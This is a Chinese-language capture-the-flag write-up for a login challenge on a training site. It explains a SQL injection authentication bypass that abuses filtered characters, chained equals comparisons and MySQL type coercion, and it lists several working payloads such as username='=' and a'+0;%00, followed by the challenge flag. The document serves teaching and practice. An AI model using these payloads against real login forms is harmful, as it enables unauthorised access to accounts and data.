登陆一下好吗
原题链接
http://ctf5.shiyanbar.com/web/wonderkun/web/index.html
分析
burp fuzz 查出过滤字符
过滤字符有:
(空格) union select || or /**/ # --
猜测sql语句类似于
select * from user where username='$_POST[username]' and password='$_POST[password]'
这里学到了一种双等绕过,也是利用php弱类型的特点吧。
false == null
username = xx'='
password = yy'='
这样源于据变成了
select * from user where username='xx'='' and password='yy'=''
由于等号的运算规则,我们从左网友理解这句sql
username='xx' -> false = '' -> true
另外,还看到其他解法:
利用mysql的数据转换的特性
select * from table where username=0;
select * from table where username='a'+0;
这两句均会返回库中所有元组,就是说如果一个字符类型的变量接收到一个整形变量且值为0的时候,就会返回库中所有元组(第二句'a'+0会进行强制类型转换,最后结果还是0)
其次,mysql的注释符号除了-- + , # ,/**/之外,还有 ;%00
利用这两点,构造如下payload:
username=a'+0;%00&password=
但是这个方法,我没成功,就只是当学习一下吧
payload
-
username='=' & password='='
-
username=a'=' & password=b'='
-
username='='0e123 & password='='0e123
以上其实都是双等绕过的变形,都是利用php弱类型的特点和等号的逻辑运算 -
username=a'+0%00 & password=''
该方法虽然未成功,但是也是学习到一种思路。
flag
ctf{51d1bf8fb65a8c2406513ee8f52283e7}
知识点
sql语句,sql万能语句,php弱类型
网友评论